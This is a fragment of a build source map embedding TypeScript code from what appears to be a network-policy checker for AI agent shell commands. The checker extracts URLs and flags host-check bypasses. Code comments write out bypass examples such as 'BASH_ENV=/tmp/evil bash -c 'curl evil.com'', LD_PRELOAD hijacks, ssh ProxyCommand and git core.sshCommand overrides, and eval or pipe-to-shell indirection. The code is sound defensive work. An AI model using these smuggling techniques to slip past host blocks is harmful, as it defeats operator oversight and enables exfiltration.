gitInvocation.subcommand;\n\t\t}\n\n\t\tfor (const arg of networkTargetArgs(\n\t\t\tinvocation.commandName,\n\t\t\targs,\n\t\t\tgitSubcommand,\n\t\t)) {\n\t\t\tconst url = networkTargetToUrl(invocation.commandName, arg);\n\t\t\tif (url) {\n\t\t\t\turls.push(url);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn [...new Set(urls)];\n}\n\nfunction tokensBeforeShellComment(segment: string[]): string[] {\n\tconst commentIndex = segment.findIndex((token) => token.startsWith(\"#\"));\n\tif (commentIndex === -1) return segment;\n\t// INCLUDE the suspect comment-start token in the returned slice. The\n\t// tokenizer strips quotes before we see segments, so a real shell\n\t// comment (`echo hi # see https://wiki/page`) and a quoted token that\n\t// happens to start with `#` (`echo \"#prefix https://evil.com\"`) are\n\t// indistinguishable at this point. Dropping the token would let an\n\t// adversary smuggle URLs past `blockedHosts` by prefixing them with\n\t// `#` inside a quoted argument; keeping it adds a tolerable amount of\n\t// false positives for the rare agent tool call that embeds a URL\n\t// inside an actual `# comment` (which is conservative for security\n\t// policy anyway). Tokens AFTER the comment-start are still dropped.\n\treturn segment.slice(0, commentIndex + 1);\n}\n\n/**\n * Extract URL substrings from shell command text while respecting shell comments.\n *\n * This catches URLs embedded inside quoted strings, echo payloads, and heredoc\n * bodies without treating `# ...` comment text as an executed network target.\n */\nexport function extractUrlSubstringsFromShellCommand(\n\tcommand: string,\n): string[] {\n\tconst urls: string[] = [];\n\n\tfor (const segment of allCommandSegments(command)) {\n\t\turls.push(...extractUrlsFromValue(tokensBeforeShellComment(segment)));\n\t}\n\n\treturn [...new Set(urls)];\n}\n\nexport function findOpaqueNetworkShellCommand(command: string): string | null {\n\tconst segments = allCommandSegments(command);\n\n\t// Pass 1: specific opaque markers. When a nested segment carries a\n\t// known smuggle (`ssh -o ProxyCommand=…`, `git -c core.sshcommand=…`,\n\t// `BASH_ENV=…`, …) we surface THAT segment, not the wrapper around\n\t// it — display fidelity matters for the operator triaging the block.\n\tconst specific = findOpaqueByMarker(segments);\n\tif (specific) {\n\t\treturn specific;\n\t}\n\n\t// Pass 2: indirection / encoding-resistance fallback. `eval`,\n\t// `python -c \"$CMD\"`, `… | sh`, `bash <<<`, `sh /tmp/script`. These\n\t// don't expose a parseable inner network invocation, but the runtime\n\t// they hand off to can still issue any network call. Flag them so\n\t// the policy gate sees the smoke even when we can't parse the fire.\n\tfor (const segment of segments) {\n\t\tconst indirection = findOpaqueIndirection(segment);\n\t\tif (indirection) {\n\t\t\treturn indirection;\n\t\t}\n\t}\n\n\treturn null;\n}\n\nfunction findOpaqueByMarker(segments: string[][]): string | null {\n\tfor (const segment of segments) {\n\t\t// Bash-style bare env-var prefix attached to a shell wrapper:\n\t\t// `BASH_ENV=/tmp/evil bash -c 'curl evil.com'`. The outer\n\t\t// `bash` is not in `NETWORK_COMMANDS` so `unwrapNetworkInvocation`\n\t\t// returns null for the outer segment, and the nested `curl …`\n\t\t// segment doesn't carry the env any more. Catch the dangerous\n\t\t// env at the segment level before we discard it. (This also\n\t\t// covers `LD_PRELOAD=/tmp/evil ./binary` style invocations where\n\t\t// the wrapped command isn't a recognized network command — the\n\t\t// LD_PRELOAD inline is itself the smuggle.)\n\t\tif (\n\t\t\tsegment.length > 0 &&\n\t\t\tisEnvAssignment(segment[0]!) &&\n\t\t\tfindOpaqueEnvAssignment(segment)\n\t\t) {\n\t\t\treturn segment.join(\" \");\n\t\t}\n\n\t\tconst invocation = unwrapNetworkInvocation(segment);\n\t\tif (!invocation) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tlet args = invocation.args;\n\t\tlet gitSubcommand: string | null = null;\n\t\tif (invocation.commandName === \"git\") {\n\t\t\t// `git -c key=value` is consumed by git before it reaches the\n\t\t\t// subcommand. We scan the *original* args so values like\n\t\t\t// `core.sshCommand` are caught even when the subcommand itself\n\t\t\t// is otherwise innocuous (e.g. `clone`, `fetch`, `push`).\n\t\t\tif (findOpaqueGitConfigOption(args)) {\n\t\t\t\treturn invocation.display.join(\" \");\n\t\t\t}\n\t\t\tconst gitInvocation = gitSubcommandInvocation(args);\n\t\t\tif (!gitInvocation) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\targs = gitInvocation.args;\n\t\t\tgitSubcommand = gitInvocation.subcommand;\n\t\t}\n\n\t\t// Bash-style bare env-var prefix: `VAR=value cmd …` may smuggle\n\t\t// a transport override (`GIT_SSH_COMMAND=…`, `RSYNC_RSH=…`) or\n\t\t// a loader hijack (`LD_PRELOAD=…`) past the host check.\n\t\t// `invocation.display` is the original segment (pre-prefix-strip)\n\t\t// so the env tokens are still visible here.\n\t\tif (findOpaqueEnvAssignment(invocation.display)) {\n\t\t\treturn invocation.display.join(\" \");\n\t\t}\n\n\t\tif (findOpaqueSshOption(invocation.commandName, args)) {\n\t\t\treturn invocation.display.join(\" \");\n\t\t}\n\n\t\tif (findOpaqueRsyncOption(invocation.commandName, args)) {\n\t\t\treturn invocation.display.join(\" \");\n\t\t}\n\n\t\tif (findOpaqueHttpClientOption(invocation.commandName, args)) {\n\t\t\treturn invocation.display.join(\" \");\n\t\t}\n\n\t\tconst targets = networkTargetArgs(\n\t\t\tinvocation.commandName,\n\t\t\targs,\n\t\t\tgitSubcommand,\n\t\t);\n\t\tif (targets.length === 0) {\n\t\t\tif (\n\t\t\t\t(invocation.commandName === \"git\" &&\n\t\t\t\t\t(gitSubcommand === \"archive\" ||\n\t\t\t\t\t\t(gitSubcommand === \"config\" && gitConfigCommandIsLocal(args)) ||\n\t\t\t\t\t\t(gitSubcommand === \"remote\" && gitRemoteCommandIsLocal(args)) ||\n\t\t\t\t\t\t(gitSubcommand === \"submodule\" &&\n\t\t\t\t\t\t\tgitSubmoduleCommandIsLocal(args)))) ||\n\t\t\t\t(invocation.commandName === \"scp\" && scpCommandIsLocal(args)) ||\n\t\t\t\t(invocation.commandName === \"rsync\" && rsyncCommandIsLocal(args))\n\t\t\t) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\tif (targets.length > 0) {\n\t\t\tif (\n\t\t\t\tURL_POSITIONAL_COMMANDS.has(invocation.commandName) &&\n\t\t\t\ttargets.some((arg) =>\n\t\t\t\t\tnetworkTargetToUrl(invocation.commandName, arg),\n\t\t\t\t) &&\n\t\t\t\ttargets.every(\n\t\t\t\t\t(arg) =>\n\t\t\t\t\t\tnetworkTargetToUrl(invocation.commandName, arg) ||\n\t\t\t\t\t\t!hasShellExpansion(arg),\n\t\t\t\t)\n\t\t\t) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tconst allTargetsAreStatic = targets.every((arg) => {\n\t\t\t\tif (networkTargetToUrl(invocation.commandName, arg)) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\treturn invocation.commandName === \"git\" && isLocalGitTarget(arg);\n\t\t\t});\n\t\t\tif (allTargetsAreStatic) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\treturn invocation.display.join(\" \");\n\t}\n\n\treturn null;\n}\n\n/**\n * Extract all URLs from text, objects, and embedded shell commands.\n *\n * Combines URL extraction from values and shell command parsing.\n * Use this when you need comprehensive URL extraction from mixed content.\n *\n * @param value - Value to extract URLs from\n * @param shellCommand - Optional shell command to also parse\n * @returns Array of all extracted URLs (deduplicated)\n */\nexport function extractAllUrls(\n\tvalue: unknown,\n\tshellCommand?: string,\n): string[] {\n\tconst urls = extractUrlsFromValue(value);\n\n\tif (shellCommand) {\n\t\turls.push(...extractUrlsFromShellCommand(shellCommand));\n\t}\n\n\t// Deduplicate\n\treturn [...new Set(urls)];\n}\n"]}
+{"version":3,"file":"url-extractor.js","sourceRoot":"","sources":["../../src/utils/url-extractor.ts"],"names":[],"mappings":"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